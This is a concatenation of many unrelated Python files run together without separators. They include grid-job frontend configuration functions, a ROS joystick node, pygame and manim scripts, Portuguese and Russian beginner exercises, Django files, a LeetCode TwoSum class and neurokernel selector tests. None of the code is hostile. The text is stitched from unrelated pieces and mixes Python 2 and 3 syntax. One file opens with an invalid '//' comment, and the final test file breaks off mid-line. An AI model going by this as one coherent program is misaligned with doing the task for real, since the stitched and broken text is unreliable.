match_expr = '(%s) and (glidein["attrs"].get("GLIDEIN_REQUIRE_GLEXEC_USE", "False") == "False")' % match_expr if ma_arr: match_attrs = eval(descript_dict['FactoryMatchAttrs']) + ma_arr descript_dict.add('FactoryMatchAttrs', repr(match_attrs), allow_overwrite=True) descript_dict.add('FactoryQueryExpr', query_expr, allow_overwrite=True) descript_dict.add('MatchExpr', match_expr, allow_overwrite=True) def apply_multicore_policy(descript_dict): match_expr = descript_dict['MatchExpr'] # Only consider sites that provide enough GLIDEIN_CPUS jobs to run match_expr = '(%s) and (getGlideinCpusNum(glidein) >= int(job.get("RequestCpus", 1)))' % match_expr descript_dict.add('MatchExpr', match_expr, allow_overwrite=True) # Add GLIDEIN_CPUS to the list of attrs queried in glidefactory classad fact_ma = eval(descript_dict['FactoryMatchAttrs']) + [('GLIDEIN_CPUS', 's')] descript_dict.add('FactoryMatchAttrs', repr(fact_ma), allow_overwrite=True) # Add RequestCpus to the list of attrs queried in glidefactory classad job_ma = eval(descript_dict['JobMatchAttrs']) + [('RequestCpus', 'i')] descript_dict.add('JobMatchAttrs', repr(job_ma), allow_overwrite=True) def get_pool_list(credential): pool_idx_len = credential['pool_idx_len'] if pool_idx_len is None: pool_idx_len = 0 else: pool_idx_len = int(pool_idx_len) pool_idx_list_unexpanded = credential['pool_idx_list'].split(',') pool_idx_list_expanded = [] # Expand ranges in pool list for idx in pool_idx_list_unexpanded: if '-' in idx: idx_range = idx.split('-') for i in range(int(idx_range[0]), int(idx_range[1])+1): pool_idx_list_expanded.append(str(i)) else: pool_idx_list_expanded.append(idx.strip()) pool_idx_list_strings=[] for idx in pool_idx_list_expanded: pool_idx_list_strings.append(idx.zfill(pool_idx_len)) return pool_idx_list_strings def populate_common_descript(descript_dict, # will be modified params): for tel in (("factory","Factory"),("job","Job")): param_tname,str_tname=tel ma_arr=[] qry_expr = params.match[param_tname]['query_expr'] descript_dict.add('%sQueryExpr'%str_tname,qry_expr) match_attrs=params.match[param_tname]['match_attrs'] for attr_name in match_attrs.keys(): attr_type=match_attrs[attr_name]['type'] if not (attr_type in MATCH_ATTR_CONV.keys()): raise RuntimeError, "match_attr type '%s' not one of %s"%(attr_type,MATCH_ATTR_CONV.keys()) ma_arr.append((str(attr_name),MATCH_ATTR_CONV[attr_type])) descript_dict.add('%sMatchAttrs'%str_tname,repr(ma_arr)) if params.security.security_name is not None: descript_dict.add('SecurityName',params.security.security_name) collectors=[] for el in params.match.factory.collectors: if el['factory_identity'][-9:]=='@fake.org': raise RuntimeError, "factory_identity for %s not set! (i.e. it is fake)"%el['node'] if el['my_identity'][-9:]=='@fake.org': raise RuntimeError, "my_identity for %s not set! (i.e. it is fake)"%el['node'] cWDictFile.validate_node(el['node']) collectors.append((el['node'],el['factory_identity'],el['my_identity'])) descript_dict.add('FactoryCollectors',repr(collectors)) schedds=[] for el in params.match.job.schedds: cWDictFile.validate_node(el['fullname']) schedds.append(el['fullname']) descript_dict.add('JobSchedds',string.join(schedds,',')) if params.security.proxy_selection_plugin is not None: descript_dict.add('ProxySelectionPlugin',params.security.proxy_selection_plugin) if len(params.security.credentials) > 0: proxies = [] proxy_attrs=['security_class','trust_domain','type', 'keyabsfname','pilotabsfname','vm_id','vm_type', 'creation_script','update_frequency'] proxy_attr_names={'security_class':'ProxySecurityClasses', 'trust_domain':'ProxyTrustDomains', 'type':'ProxyTypes','keyabsfname':'ProxyKeyFiles', 'pilotabsfname':'ProxyPilotFiles', 'vm_id':'ProxyVMIds','vm_type':'ProxyVMTypes', 'creation_script':'ProxyCreationScripts', 'update_frequency':'ProxyUpdateFrequency'} proxy_descript_values={} for attr in proxy_attrs: proxy_descript_values[attr]={} proxy_trust_domains = {} for pel in params.security.credentials: if pel['absfname'] is None: raise RuntimeError, "All proxies need a absfname!" if (pel['pool_idx_len'] is None) and (pel['pool_idx_list'] is None): # only one proxies.append(pel['absfname']) for attr in proxy_attrs: if pel[attr] is not None: proxy_descript_values[attr][pel['absfname']]=pel[attr] else: #pool pool_idx_list_expanded_strings = get_pool_list(pel) for idx in pool_idx_list_expanded_strings: absfname = "%s%s" % (pel['absfname'], idx) proxies.append(absfname) for attr in proxy_attrs: if pel[attr] is not None: proxy_descript_values[attr][pel['absfname']]=pel[attr] descript_dict.add('Proxies', repr(proxies)) for attr in proxy_attrs: if len(proxy_descript_values[attr].keys()) > 0: descript_dict.add(proxy_attr_names[attr], repr(proxy_descript_values[attr])) match_expr = params.match.match_expr descript_dict.add('MatchExpr', match_expr) ##################################################### # Returns a string usable for GLIDEIN_Collector def calc_glidein_collectors(collectors): collector_nodes = {} glidein_collectors = [] for el in collectors: if not collector_nodes.has_key(el.group): collector_nodes[el.group] = {'primary': [], 'secondary': []} if eval(el.secondary): cWDictFile.validate_node(el.node,allow_prange=True) collector_nodes[el.group]['secondary'].append(el.node) else: cWDictFile.validate_node(el.node) collector_nodes[el.group]['primary'].append(el.node) for group in collector_nodes.keys(): if len(collector_nodes[group]['secondary']) > 0: glidein_collectors.append(string.join(collector_nodes[group]['secondary'], ",")) else: glidein_collectors.append(string.join(collector_nodes[group]['primary'], ",")) return string.join(glidein_collectors, ";") ##################################################### # Populate gridmap to be used by the glideins def populate_gridmap(params,gridmap_dict): collector_dns=[] for el in params.collectors: dn=el.DN if dn is None: raise RuntimeError,"DN not defined for pool collector %s"%el.node if not (dn in collector_dns): #skip duplicates collector_dns.append(dn) gridmap_dict.add(dn,'collector%i'%len(collector_dns)) # Add also the frontend DN, so it is easier to debug if params.security.proxy_DN is not None: if not (params.security.proxy_DN in collector_dns): gridmap_dict.add(params.security.proxy_DN,'frontend') ##################################################### # Populate security values def populate_main_security(client_security,params): if params.security.proxy_DN is None: raise RuntimeError,"DN not defined for classad_proxy" client_security['proxy_DN']=params.security.proxy_DN collector_dns=[] collector_nodes=[] for el in params.collectors: dn=el.DN if dn is None: raise RuntimeError,"DN not defined for pool collector %s"%el.node is_secondary=eval(el.secondary) if is_secondary: continue # only consider primary collectors for the main security config collector_nodes.append(el.node) collector_dns.append(dn) if len(collector_nodes)==0: raise RuntimeError,"Need at least one non-secondary pool collector" client_security['collector_nodes']=collector_nodes client_security['collector_DNs']=collector_dns def populate_group_security(client_security,params,sub_params): factory_dns=[] for collectors in (params.match.factory.collectors, sub_params.match.factory.collectors): for el in collectors: dn=el.DN if dn is None: raise RuntimeError,"DN not defined for factory %s"%el.node # don't worry about conflict... there is nothing wrong if the DN is listed twice factory_dns.append(dn) client_security['factory_DNs']=factory_dns schedd_dns=[] for schedds in (params.match.job.schedds, sub_params.match.job.schedds): for el in schedds: dn=el.DN if dn is None: raise RuntimeError,"DN not defined for schedd %s"%el.fullname # don't worry about conflict... there is nothing wrong if the DN is listed twice schedd_dns.append(dn) client_security['schedd_DNs']=schedd_dns pilot_dns=[] for credentials in (params.security.credentials, sub_params.security.credentials): for pel in credentials: if pel['pilotabsfname'] is None: proxy_fname=pel['absfname'] else: proxy_fname=pel['pilotabsfname'] if (pel['pool_idx_len'] is None) and (pel['pool_idx_list'] is None): # only one dn=x509Support.extract_DN(proxy_fname) # don't worry about conflict... there is nothing wrong if the DN is listed twice pilot_dns.append(dn) else: # pool pool_idx_list_expanded_strings = get_pool_list(pel) for idx in pool_idx_list_expanded_strings: real_proxy_fname = "%s%s" % (proxy_fname, idx) dn=x509Support.extract_DN(real_proxy_fname) # don't worry about conflict... there is nothing wrong if the DN is listed twice pilot_dns.append(dn) client_security['pilot_DNs']=pilot_dns ##################################################### # Populate attrs # This is a digest of the other values def populate_common_attrs(dicts): # there should be no conflicts, so does not matter in which order I put them together for k in dicts['params'].keys: dicts['attrs'].add(k,dicts['params'].get_true_val(k)) for k in dicts['consts'].keys: dicts['attrs'].add(k,dicts['consts'].get_typed_val(k))
#!/usr/bin/env python import rospy from std_msgs.msg import String, Header from geometry_msgs.msg import Twist import serial import time import pygame as pyg from joystick_utils import SlaveContact class RoboController(): def __init__(self,port,baud_rate): self.slave = SlaveContact(port,baud_rate) rospy.Subscriber('joystick_command', Twist, self.CommandCallback) def CommandCallback(self, commandMessage): self.command = commandMessage print(self.command.linear.x,self.command.linear.y) if self.command.linear.x==self.command.linear.y == 0.0: self.slave.sendData('v') elif (self.command.linear.y) <= -0.3: self.slave.sendData('w') elif (self.command.linear.x) <= -0.3: self.slave.sendData('d') elif (self.command.linear.x) > 0.3: self.slave.sendData('a') elif (self.command.linear.y) >0.3: self.slave.sendData('s') def on_shutdown(self): rospy.logwarn('Stopping car_controller_node!!!') rospy.init_node('joystick_controller_node', anonymous=False) car_controller = RoboController('/dev/ttyACM0',9600) rospy.on_shutdown(car_controller.on_shutdown) rospy.spin()
def int_numbers(a,b): if a < b: for i in range(a, b + 1): yield i else: for i in range(a, b - 1, -1): yield i a1 = int(input("Введите целое число A: ")) b1 = int(input("Введите целое число B: ")) for num in int_numbers(a1,b1): print(num)
import numpy as np #默认为浮点数 x=np.ones(5) print(x) #自定义类型 x=np.ones([2,2],dtype=int) print(x)
""" Copy metainfo files from Transmission for backup. Usage: clutchless archive [--dry-run] [--errors] <destination> Arguments: <destination> Directory where metainfo files in Transmission will be copied. Options: --errors Moves files into folders below the archive directory according to their error code. --dry-run Do not copy any files, only list which files would be moved. """
import pygame from pygame.sprite import Sprite from pygame.sprite import Group class Alien(Sprite): """Aliens of the game""" def __init__(self, screen): super(Alien, self).__init__() self.speed = 1 self.direction = 1 self.rows = 4 self.screen = screen self.image = pygame.image.load('images/alien_small.bmp') self.rect = self.image.get_rect() self.rect.x = self.rect.width self.rect.y = self.rect.height def draw_alien(self): self.screen.blit(self.image, self.rect) def create_fleet(screen, alien_number, alien_instance, alien_group): for row in range(alien_instance.rows): for alien in range(alien_number): new_alien = Alien(screen) new_alien.rect.x = (alien_instance.rect.width + 2*alien*alien_instance.rect.width) new_alien.rect.y = (alien_instance.rect.height) + (row*alien_instance.rect.height) alien_group.add(new_alien) def draw_fleet(group,ai_set,ship): if (ai_set.game_active == 1): for every_alien in group.sprites(): if (alien_at_edge(every_alien) == 1): ai_set.direction *= -1 for every_alien in group.sprites(): every_alien.rect.y +=every_alien.rect.height if (every_alien.rect.bottom >= ship.rect.top): print("Ship hit 1") break if pygame.sprite.spritecollideany(ship, group): print("Ship hit") for every_alien in group.sprites(): if (ai_set.game_active == 1): every_alien.rect.x += every_alien.speed * ai_set.direction every_alien.draw_alien() def alien_at_edge(alien): if ((alien.rect.right >= alien.screen.get_rect().right) or (alien.rect.left <= alien.screen.get_rect().left)): return 1 else: return 0
from circulo import Circulo # importando a classe circulo from retangulo import Retangulo # importando a classe retangulo from triangulo import Triangulo # importando a classe triangulo from trapezio import Trapezio # importando a classe Trapezio print("Programa para calcular formas geométricas") # Nome do Programa print("BEM VINDO!!!\nVAMOS APRENDER GEOMETRIA") # boas vindas print("Escolha qual a forma deseja calcular!") # orientação ao usuário def escolha(): forma = input("1 - Circulo\n2 - Retangulo\n3 - Triangulo\n4 - Trapézio\n5 - Sair\n-->") # menu de opções try: # utilizamos o try para tratar teclas que não sejam numéricas com excessão do ponto para valores flutuantes if forma == "1": raio = float(input("Quantos centimetros tem o raio:")) meuCirculo = Circulo(raio) # instaciando a classe minhaarea = meuCirculo.calcularAreacirc() # recebendo a area da classe circulo meuperimetro = meuCirculo.calculaPerimetrocirc() # recebendo o perimetro da classe circulo print("\nA area do círculo é {:.2f} cm".format(minhaarea)) print("\nO Perimetro do Círculo é {:.2f} cm ".format(meuperimetro)) elif forma == "2": base = float(input("Digite a base do retangulo: ")) # recebndo os valores e setando nas variaveis altura = float(input("Digite a altura do retangulo: ")) meuRetangulo = Retangulo(base, altura) # instanciando a minha classe e enviando meus parametros areareta = meuRetangulo.calcularAreareta() # chamando a classe para receber o resultado meuperi = meuRetangulo.calculaPerimetroreta() # #chamando a classe para receber o resultado print("\nA area do retangulo é {:.2f} cm²".format(areareta)) # apresentando a area do circulo para o usuario print("\nO perimetro do retangulo é {:.2f} cm".format(meuperi)) # apresentando a area do circulo para o usuario elif forma == "3": lado1 = float(input("Digite o lado 1 do triangulo: ")) # recebndo os valores e setando nas variaveis lado2 = float(input("Digite o laodo 2 do triangulo: ")) base = float(input("Digite a base do triangulo: ")) # recebndo os valores e setando nas variaveis altura = float(input("Digite a altura do triangulo: ")) meuTriangulo = Triangulo(lado1, lado2, base, altura) # instanciando a minha classe e enviando meus parametros areatri = meuTriangulo.calcularAreaTri() # chamando a classe para receber o resultado peritri = meuTriangulo.calculaPerimetroTri() # #chamando a classe para receber o resultado print("\nA area do triangulo é {:.2f} cm²".format(areatri)) # apresentando a area do circulo para o usuario print("\nO perimetro do triangolo é {:.2f} cm".format(peritri)) # apresentando a area do circulo para o usuario elif forma == "4": lado1 = float(input("Digite o lado 1 do trapezio: ")) # recebndo os valores e setando nas variaveis lado2 = float(input("Digite o laodo 2 do trapezio: ")) basemenor = float(input("Digite a base Menor do trapezio: ")) # recebndo os valores e setando nas variaveis basemaior = float(input("Digite a base Maior do trapezio: ")) # recebndo os valores e setando nas variaveis altura = float(input("Digite a altura do trapezio: ")) meuTrapezio = Trapezio(lado1, lado2, basemenor, basemaior, altura) # instanciando a minha classe e enviando meus parametros areatrap = meuTrapezio.calcularAreaTrap() # chamando a classe para receber o resultado peritrap = meuTrapezio.calculaPerimetroTrap() # #chamando a classe para receber o resultado print("\nA area do trapezio é {:.2f} cm²".format(areatrap)) # apresentando a area do circulo para o usuario print("\nO perimetro do trapezio é {:.2f} cm".format(peritrap)) # apresentando a area do circulo para o usuario elif forma == "5": print("ATÉ A PRÓXIMA!!!") # despedida exit() #finaliza o programa else: print("Opção inválida, a escolha deve ser uma operação da lista!\nPor Favor, tente novamente.") # caso usuário digite tecla que não faz parte das opções escolha() # chamada da função para reinicialização do programa except ValueError: # excessão do try, valor recebido errado, que não seja número print("Opção inválida, Não utilize letras, virgula ou deixe vazio!\nA entrada deve ser primeiro um número seguido ou não de ponto!\nPor Favor, tente novamente.") escolha() # chamada da função para reinicialização do programa escolha() # chamada da função para inicialização do programa
class A: vc = 123 a1 = A() a2 = A() A.vc = 321 # eu consigo mudar todos os valores da variável , mas não da classe, mesmo que já tenha lá #se eu quiser realmente alterar o valor de uma variável de classe: A.vc = "Alterado" print(a1.vc) # pegando o valor da variavel da classe q está disponível para todas as instancias print(a2.vc) print(A.vc)
from matplotlib.pyplot import * import numpy as np big = 1.1 figure(figsize=(big*5,big*2)) ax = axes() ax.set_position([0.15, 0.2, 0.8, 0.7]) T = 2 max_seq = 2**4 max_time = 40 ax.plot(np.arange(max_seq), color = 'black') ax.plot(np.arange(T, max_seq + T), np.arange(max_seq), color = 'black') ax.plot(np.arange(max_seq, 2*max_seq), np.arange(max_seq), color = 'black') ax.plot(np.arange(T+max_seq, 2*max_seq + T), np.arange(max_seq), color = 'black') ax.plot(np.arange(5, 26), np.arange(3, 9.1, 6.0/20), linewidth = 2.0, color = 'green') ax.plot(np.arange(5, 9), np.arange(3, 9, 5.0/3), linewidth = 2.0, color = 'blue') ax.fill_between(np.arange(max_seq+T), np.append((T)*[0], np.arange(max_seq)), np.append(np.arange(max_seq), (T)*[max_seq-1]), color = 'gray') ax.fill_between(np.arange(max_seq, 2*max_seq+T), np.append((T)*[0], np.arange(max_seq)), np.append(np.arange(max_seq), (T)*[max_seq-1]), color = 'gray') xlabel('Time (s)') ylabel('Sequence numbers', multialignment='center') grid(True) savefig('forbiddenregion.png')
from os.path import dirname from os.path import join import numpy as np from astropy.io import fits from sklearn import preprocessing class Bunch(dict): """Container object for datasets: dictionary-like object that exposes its keys as attributes.""" def __init__(self, **kwargs): dict.__init__(self, kwargs) self.__dict__ = self def LoadData(**args): module_path = dirname(__file__) base_dir = module_path print "Data is loaded from %s" % (join(base_dir,args['data_file'])) hdulist = fits.open(join(base_dir,args['data_file'])) catalog_data = hdulist[2].data classes_original = catalog_data['CLASS_STAR'] classes_filtered = classes_original >= args['class_cut'] target = classes_filtered.astype(np.int) features = np.genfromtxt(join(base_dir, args['feature_file']), delimiter=',', dtype=str) print "# of data: %d, # of features: %d" % (len(catalog_data),len(features)) print "features:" print features for j,feature in enumerate(features): if j == 0: flat_data = catalog_data[feature].reshape((len(catalog_data),1)) else: flat_data = np.append(flat_data,catalog_data[feature].reshape((len(catalog_data),1)),1) return Bunch(features=features,\ data=flat_data,\ target=target) def DataScaler(X_train, X_test, scaler): if scaler == 'Standard': scaler = preprocessing.StandardScaler() elif scaler == 'MinMax': scaler = preprocessing.MinMaxScaler() X_train = scaler.fit_transform(X_train) X_test = scaler.transform(X_test) return X_train, X_test def DataGeneration(samples,**args): X = samples.data y = samples.target train_samples = len(samples.data)*args['training_size'] if args['training_part'] == 'first': X_train = X[:train_samples] X_test = X[train_samples:] y_train = y[:train_samples] y_test = y[train_samples:] elif args['training_part'] == 'second': X_train = X[train_samples:] X_test = X[:train_samples] y_train = y[train_samples:] y_test = y[:train_samples] dataset = Bunch(X_train=X_train,\ X_test=X_test,\ y_train=y_train,\ y_test=y_test) # Preprocessing (Scaling) for X_train and X_test if args['scaler'] is not None: if 'param_search_file' in args: pass else: print "\nA scaler, %s, is applied in data generation." % args['scaler'] dataset.X_train, dataset.X_test\ = DataScaler(dataset.X_train, dataset.X_test, args['scaler']) else: if 'param_search_file' in args: pass else: print "\nNo scaler is applied in data generation." return dataset
''' Автомат обрабатывает натуральное число N по следующему алгоритму: 1. Строится троичная запись числа N. 2. В конец записи (справа) дописывается остаток от деления числа N на 3. 3. Результат переводится из троичной системы в десятичную и выводится на экран. Пример. Дано число N = 11. Алгоритм работает следующим образом: 1. Троичная запись числа N: 102. 2. Остаток от деления 11 на 3 равен 2, новая запись 1022. 3. На экран выводится число 35. Какое наименьшее четырёхзначное число может появиться на экране в результате работы автомата? ''' ''' Описанные действия приведут к умножению исходного числа на 3 и довбавление остатка от деления числа на 3 ''' mn = 10000 for number in range(1, 9999 + 1): result = number * 3 + number % 3 if 999 < result < 10000: mn = min(result, mn) print(mn)
from numbers import Number from manimlib import * import numpy as np class problemIntro(Scene): def construct(self): text = """ Given two strings text1 and text2, return the length of their longest common subsequence. If there is no common subsequence, return 0. """ problem = Text(text, font="Comic Sans MS", font_size=40).shift(UP*2) self.play(Write(problem)) self.wait() self.play(FadeOut(problem)) class test(Scene): def construct(self): obj_list = VGroup() for i in range(0, 3): for j in range(0, 5): tmp_num = Integer(0) tmp_num.shift(RIGHT*(j-2)*0.75 + DOWN*(i-1)*0.75 + UP) obj_list.add(tmp_num) self.play(Write(obj_list)) self.wait() class showStr(Scene): def construct(self): str1 = Text("a b c d e", font_size=70) str1_colored = Text("a b c d e", font_size=70, t2c={"a": BLUE, "c":BLUE, "e": BLUE} ) str2 = Text("a\nc\ne", font_size=70) a = Text("a", font_size=70) # str1.arrange(buff = ) str1.shift(2*UP) str2.shift(2.5*LEFT + 0.5*UP) str1_colored.shift(2*UP) self.play(Write(str1)) # self.play(Transform(str1, str1_colored)) self.play(str1[0].animate.set_color(BLUE), str1[6].animate.set_color(BLUE), str1[12].animate.set_color(BLUE)) kw = {"run_time": 3, "path_arc": PI/2} self.play(TransformMatchingShapes(str1.copy(), str2), run_time=2) dp_mat = self.showMatrix() a.move_to([dp_mat[0][0].get_x()-1, dp_mat[0][0].get_y(), 0]) self.play(FadeOut(str2), FadeIn(a)) self.wait() def showMatrix(self): obj_list = VGroup() for i in range(0, 3): for j in range(0, 5): tmp_num = Integer(0) tmp_num.shift(RIGHT*(j-2)*0.75 + DOWN*(i-1)*0.7 + 0.5*UP) obj_list.add(tmp_num) self.play(Write(obj_list)) self.wait() return obj_list
from __future__ import unicode_literals from django.apps import AppConfig class NegotConfig(AppConfig): name = 'Negot'
""" It was proposed by Christian Goldbach that every odd composite number can be written as the sum of a prime and twice a square. 9 = 7 + 2×12 15 = 7 + 2×22 21 = 3 + 2×32 25 = 7 + 2×32 27 = 19 + 2×22 33 = 31 + 2×12 It turns out that the conjecture was false. What is the smallest odd composite that cannot be written as the sum of a prime and twice a square? """ import math def is_prime(num): if num == 1: return False if num == 2: return True value = math.ceil(math.sqrt(num)) + 1 for i in range(2, value): if num % i == 0: return False return True def sol(): n = 9 while True: # skips prime odd number so just composite nums if is_prime(n): n += 2 continue # if one of the n - 2 * k ^ 2 is prime then skip this n # However if all numbers of that form are not prime then we know that # that n cannot be the sum of a prime and twice a flag = False for k in range(1, math.floor(math.sqrt(n))): t = n - (2 * (k ** 2)) if t <= 0: continue if is_prime(t): n += 2 flag = True break if flag: continue return n print(sol())
import argparse import csv import math import glob import librosa import pandas as pd from subcommands.create_samples import create_samples from subcommands.classify_file import classify_file if __name__ == "__main__": parser = argparse.ArgumentParser(description="Sonumator") subparsers = parser.add_subparsers(title='subcommands', description='valid subcommands') samples_subparser = subparsers.add_parser('create_samples') samples_subparser.add_argument('--path', required=True, help='the path to the .wav files to be processed') samples_subparser.add_argument('--csv', required=True, help='the .csv file that contains the start and end times for sampling') samples_subparser.add_argument('--output', default="output/", help='the output directory to write files to') samples_subparser.set_defaults(func=create_samples) classify_subparser = subparsers.add_parser('classify_file') classify_subparser.add_argument('--file', required=True, help='the path to the .wav file to be processed') classify_subparser.add_argument('--training-set', required=True, help='the path to the training set to') classify_subparser.add_argument('--output', required=True, help='the output path for the generated .csv file') classify_subparser.set_defaults(func=classify_file) args = parser.parse_args() args.func(args)
# Generated by Django 2.2 on 2019-09-08 14:35 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('generes', '0001_initial'), ] operations = [ migrations.CreateModel( name='MovieModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('publish_date', models.DateTimeField(auto_now_add=True)), ('number_in_stock', models.IntegerField()), ('rate', models.IntegerField()), ('liked', models.BooleanField(default=False)), ('genere', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='generes.Geners')), ], ), ]
// https://leetcode.com/problems/two-sum-iii-data-structure-design class TwoSum: def __init__(self): """ Initialize your data structure here. """ self.map={} def add(self, number): """ Add the number to an internal data structure.. :type number: int :rtype: void """ if number not in self.map: self.map[number]= False else: self.map[number]= True def find(self, value): """ Find if there exists any pair of numbers which sum is equal to the value. :type value: int :rtype: bool """ for key in self.map: if value-key == key and self.map[key] == True: return True elif value-key != key and value-key in self.map: return True return False # Your TwoSum object will be instantiated and called as such: # obj = TwoSum() # obj.add(number) # param_2 = obj.find(value)
import string print("Our punct:", string.punctuation) def clean_punkts(srcpath,destpath, badchars = string.punctuation): with open(srcpath,mode="r", encoding="utf-8") as inf, open(destpath,mode="w", encoding="utf-8") as outf: # for line in inf: # for char in badchars: # line = line.replace(char,'') # outf.write(line) text = inf.read() # could just proceses whole text at once for char in badchars: text = text.replace(char,'') outf.write(text) # clean_punkts("veidenbaums_poems.txt","veidenbaums_no_punkts.txt") clean_punkts("veidenbaums_poems.txt","veidenbaums_no_punkts.txt", badchars = string.punctuation + "…A")
#!/usr/bin/env python from unittest import main, TestCase import numpy as np import pandas as pd from pandas.util.testing import assert_frame_equal, assert_index_equal from neurokernel.plsel import PathLikeSelector, PortMapper df1 = pd.DataFrame(data={'data': np.random.rand(12), 'level_0': ['foo', 'foo', 'foo', 'foo', 'foo', 'foo', 'bar', 'bar', 'bar', 'bar', 'baz', 'baz'], 'level_1': ['qux', 'qux', 'qux', 'qux', 'mof', 'mof', 'qux', 'qux', 'qux', 'mof', 'mof', 'mof'], 'level_2': ['xxx', 'yyy', 'yyy', 'yyy', 'zzz', 'zzz', 'xxx', 'xxx', 'yyy', 'zzz', 'yyy', 'zzz'], 'level_3': [0, 0, 1, 2, 0, 1, 0, 1, 0, 1, 0, 1]}) df1.set_index('level_0', append=False, inplace=True) df1.set_index('level_1', append=True, inplace=True) df1.set_index('level_2', append=True, inplace=True) df1.set_index('level_3', append=True, inplace=True) df = pd.DataFrame(data={'data': np.random.rand(10), 0: ['foo', 'foo', 'foo', 'foo', 'foo', 'bar', 'bar', 'bar', 'baz', 'baz'], 1: ['qux', 'qux', 'mof', 'mof', 'mof', 'qux', 'qux', 'qux', 'qux', 'mof'], 2: [0, 1, 0, 1, 2, 0, 1, 2, 0, 0]}) df.set_index(0, append=False, inplace=True) df.set_index(1, append=True, inplace=True) df.set_index(2, append=True, inplace=True) df2 = pd.DataFrame(data={'data': np.random.rand(10), 0: ['foo', 'foo', 'foo', 'foo', 'foo', 'bar', 'bar', 'bar', 'baz', 'baz'], 1: ['qux', 'qux', 'mof', 'mof', 'mof', 'qux', 'qux', 'qux', 'qux', 'mof'], 2: [0, 1, 0, 1, 2, 0, 1, 2, 0, 0]}) df2.set_index(0, append=False, inplace=True) df2.set_index(1, append=True, inplace=True) df2.set_index(2, append=True, inplace=True) df_single = pd.DataFrame(data={'data': np.random.rand(5), 0: ['foo', 'foo', 'bar', 'bar', 'baz']}) df_single.set_index(0, append=False, inplace=True) class test_path_like_selector(TestCase): def setUp(self): self.df = df.copy() self.sel = PathLikeSelector() def test_select_empty(self): result = self.sel.select(self.df, [[]]) assert_frame_equal(result, self.df.drop(self.df.index)) def test_select_str(self): result = self.sel.select(self.df, '/foo') idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1), ('foo','mof',0), ('foo','mof',1), ('foo','mof',2)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_list(self): result = self.sel.select(self.df, [['foo']]) idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1), ('foo','mof',0), ('foo','mof',1), ('foo','mof',2)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_comma(self): result = self.sel.select(self.df, '/foo/qux,/baz/mof') idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1), ('baz','mof',0)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_plus(self): result = self.sel.select(self.df, '/foo+/qux+[0,1]') idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_dotplus(self): result = self.sel.select(self.df, '/[bar,baz].+/[qux,mof].+/[0,0]') idx = pd.MultiIndex.from_tuples([('bar','qux',0), ('baz','mof',0)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_paren(self): result = self.sel.select(self.df, '(/bar,/baz)') idx = pd.MultiIndex.from_tuples([('bar','qux',0), ('bar','qux',1), ('bar','qux',2), ('baz','qux',0), ('baz','mof',0)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_paren_plus(self): result = self.sel.select(self.df, '(/bar,/baz)+/qux') idx = pd.MultiIndex.from_tuples([('bar','qux',0), ('bar','qux',1), ('bar','qux',2), ('baz','qux',0)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_asterisk(self): result = self.sel.select(self.df, '/*/qux') idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1), ('bar','qux',0), ('bar','qux',1), ('bar','qux',2), ('baz','qux',0)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_integer_with_brackets(self): result = self.sel.select(self.df, '/bar/qux[1]') idx = pd.MultiIndex.from_tuples([('bar','qux',1)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_integer_no_brackets(self): result = self.sel.select(self.df, '/bar/qux/1') idx = pd.MultiIndex.from_tuples([('bar','qux',1)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_integer_set(self): result = self.sel.select(self.df, '/foo/qux[0,1]') idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_string_set(self): result = self.sel.select(self.df, '/foo/[qux,mof]') idx = pd.MultiIndex.from_tuples([('foo','qux',0), ('foo','qux',1), ('foo','mof',0), ('foo','mof',1), ('foo','mof',2)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_interval_no_bounds(self): result = self.sel.select(self.df, '/foo/mof[:]') idx = pd.MultiIndex.from_tuples([('foo','mof',0), ('foo','mof',1), ('foo','mof',2)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_interval_lower_bound(self): result = self.sel.select(self.df, '/foo/mof[1:]') idx = pd.MultiIndex.from_tuples([('foo','mof',1), ('foo','mof',2)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_interval_upper_bound(self): result = self.sel.select(self.df, '/foo/mof[:2]') idx = pd.MultiIndex.from_tuples([('foo','mof',0), ('foo','mof',1)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_select_interval_both_bounds(self): result = self.sel.select(self.df, '/bar/qux[0:2]') idx = pd.MultiIndex.from_tuples([('bar','qux',0), ('bar','qux',1)], names=[0, 1, 2]) assert_frame_equal(result, self.df.ix[idx]) def test_are_disjoint(self): assert self.sel.are_disjoint('/foo[0:10]/baz', '/bar[10:20]/qux') == True assert self.sel.are_disjoint('/foo[0:10]/baz', '/foo[5:15]/[baz,qux]') == False assert self.sel.are_disjoint('/foo', '') == True assert self.sel.are_disjoint('', '') == True assert self.sel.are_disjoint('/foo', '/foo', '') == False result = self.sel.are_disjoint([['foo', (0, 10), 'baz']], [['bar', (10, 20), 'qux']]) assert result == True result = self.sel.are_disjoint([['foo', (0, 10), 'baz']], [['foo', (5, 15), ['baz','qux']]]) assert result == False def test_count_ports(self): result = self.sel.count_ports('/foo/bar[0:2],/moo/[qux,baz]') assert result == 4 def test_expand_str(self): result = 